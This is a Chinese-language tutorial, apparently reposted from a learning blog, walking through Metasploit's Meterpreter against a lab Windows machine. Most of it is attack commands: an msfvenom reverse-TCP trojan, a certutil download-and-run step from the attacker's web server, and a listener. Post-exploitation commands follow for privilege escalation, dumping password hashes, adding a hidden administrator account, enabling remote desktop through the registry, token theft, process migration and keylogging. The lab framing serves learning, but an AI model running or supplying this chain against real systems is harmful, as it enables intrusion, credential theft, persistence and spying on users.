meterpreter的使用


meterpreter是metasploit中的一個殺手鐧,通常在漏洞利用成功后,會返回給攻擊者一個攻擊通道,其中有很多自動化操作

場景布置

生成木馬

首先,我們使用metasploit中的另一個后門工具msfvenom生成一個木馬,方便我們測試meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻擊機IP LPORT=1234 -f exe -o /root/shell.exe

在/root目錄生成了一個shell.exe文件,執行該程序回連地址為172.16.1.103端口為1234的木馬

將木馬共享到windows電腦

service apache2 start打開Web服務
cp /root/shell.exe /var/www/html/,拷貝到Web服務目錄

在靶機中執行命令下載木馬到C:\根目錄並使用dir查看
certutil -urlcache -split -f http://172.16.1.103/shell.exe C:\shell.exe

msfconsole控制台執行監聽

  • [use exploit/multi/handler]
    [set payload windows/meterpreter/reverse_tcp]
    [set LHOST 172.16.1.103]
    [set LPORT 1234]
    [run] 開始監聽即可

靶機執行shell.exe即可反彈meterpreter


meterpreter的使用

meterpreter最出名的就是其接口的方便性,提權,各種命令應有盡有

help查看幫助


會顯示所有命令的幫助信息,例如background后台運行我們的會話

background后台運行我們的會話


如果想要連接我們的會話,使用msfconsole中學習的sessions命令可以來連接

sysinfo 查看靶機系統相關信息

exit斷開並退出會話

exit會把會話直接斷開

對文件操作的有這些


很容易理解,這些和linux使用的方法是一樣的,這里不在一一使用
注意的是:meterpreter中的操作是相對於會話中對我們靶機的操作,而不是攻擊機本身

getuid 查看當前會話權限


發下我們獲取的管理員的權限,因為是管理員執行的我們的木馬。如果是一個低權限用戶執行的我們的木馬,那么我們的獲取的會話也是低權限的用戶

getsystem 獲取操作系統權限

system:操作系統權限

這個操作大部分情況下是不成功的,因為這個操作是只有我們獲取的會話是管理員權限,才可以提權為system權限
那么為什么要獲取system權限呢,獲取system權限我們可以直接使用hashdump把密碼hash值導出,使我們對靶機的控制更加方便

hashdump 導出系統中密碼的hash值

通過 sam 文件導出系統用戶的 hash值,前提是需要獲取system權限,有時候獲取了system權限我們也無法執行
但是,msfconsole中有導出hash的模塊,需要在meterpreterrun 模塊路徑執行
run post/windows/gather/smart_hashdump獲取hash

shell 進入會話靶機終端


這里的權限會跟隨meterpreter的權限
若想返回meterpreter控制台,輸入exit退出即可

在進入命令行后,中文可能出現亂碼

chcp 65001將終端編碼改為英文即可

run getgui -e 開啟遠程遠程桌面

可以試一試能不能開啟,權限越高,越容易開啟

這里使用了netstat查看靶機端口的開放情況,可以看到3389端口已經被我們開啟
開啟后,如果我們通過hashdump破解的管理員或者其他用戶的密碼,可以使用用戶名密碼直接連接
當然我們也可以主機創建用戶
net user hacker Admin123 /addnet localgroup administratos hacker /add
創建hacker用戶並將hacker用戶加入管理員組

run getgui -e沒有開啟3389遠程桌面,我們可以使用cmd命令打開3389服務
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

使用netstat -an查看

netstat 查看靶機端口開放狀態

ps 查看靶機進程


會顯示靶機運行的進程的進程號,父進程號,運行的名稱,多少位,運行的用戶是,運行的程序的位置
進程號很有用,后面有兩個關於進程的提權

steal_token 竊取用戶進程令牌

在系統中,一個程序需要用戶來運行,運行到內存中就變成了進程,steal_token可以偽裝為指定進程的所運行的用戶
例如notepad.exe是Administrator用於運行的,那么steal_token只需要指定notepad.exe的進程號,就可以將我們的權限偽裝為Administrator
ps 查看進程

可以看到svchost.exe的進程為1268,運行的用戶是NT AUTHORRITY/SYSTEM,擁有system權限的system用戶
steal_token 1268偽裝system

在我們偽裝后,權限就變為了system

migrate 內存遷移

這個內存遷移就是將我們現在反彈shell的進程轉換到一個安全的進程上,作用和steal_token差不多,不一樣的是steal_token只是已這個進程的權限執行命令,而我們是直接切換到了這個進程,如果將該進程殺死,我們的shell也會關閉,不過一般執行該操作也需要得到system管理員的權限
ps 查看進程

conhost.exe的進程為2200,運行的用戶是Administrator
使用內存遷移,獲取administrator,這里我們的權限是system,可以說一個權限的降級
注意,這里只是為了演示進行的降級,一般情況下,肯定權限越高越好
migrate 2200

通過getuid獲取到現在是Administrator權限

當使用內存遷移的時候,建議不要遷移到低權限的用戶,不然權限會變低,而且無法提升權限

遷移到另一個進程將有助於 Meterpreter 與其交互。例如,如果您看到一個文字處理器在目標上運行(例如 word.exenotepad.exe 等),您可以遷移到它並開始捕獲用戶發送到該進程的擊鍵。某些 Meterpreter 版本將為您提供keyscan_startkeyscan_stopkeyscan_dump命令選項,使 Meterpreter 像鍵盤記錄器一樣工作。遷移到另一個進程也可以幫助您擁有更穩定的 Meterpreter 會話。
要遷移到任何進程,您需要鍵入 migrate 命令,然后鍵入所需目標進程的 PID

load 加載其他插件

meterpreter中也可插入其他插件,例如mimimatz,不用下載,在meterpreter中有內置

help中會有mimikatz插件的幫助
mimikatz還沒有學習,后續學習


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM